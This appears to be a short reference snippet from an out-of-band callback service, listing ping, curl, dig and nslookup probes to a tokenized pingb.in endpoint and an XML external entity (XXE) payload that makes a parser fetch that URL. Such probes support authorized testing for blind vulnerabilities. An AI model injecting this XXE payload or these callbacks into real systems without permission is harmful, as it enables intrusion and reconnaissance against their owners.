$ ping -c1 -p 0097c988f345abf984cc9eba33cbab00 pingb.in
 

$ curl pingb.in/p/97c988f345abf984cc9eba33cbab
 

$ dig 97c988f345abf984cc9eba33cbab @pingb.in
 

$ dig 97c988f345abf984cc9eba33cbab.ns.pingb.in
 

C:\> nslookup 97c988f345abf984cc9eba33cbab pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/97c988f345abf984cc9eba33cbab">]>
    <foo>&xxe;</foo>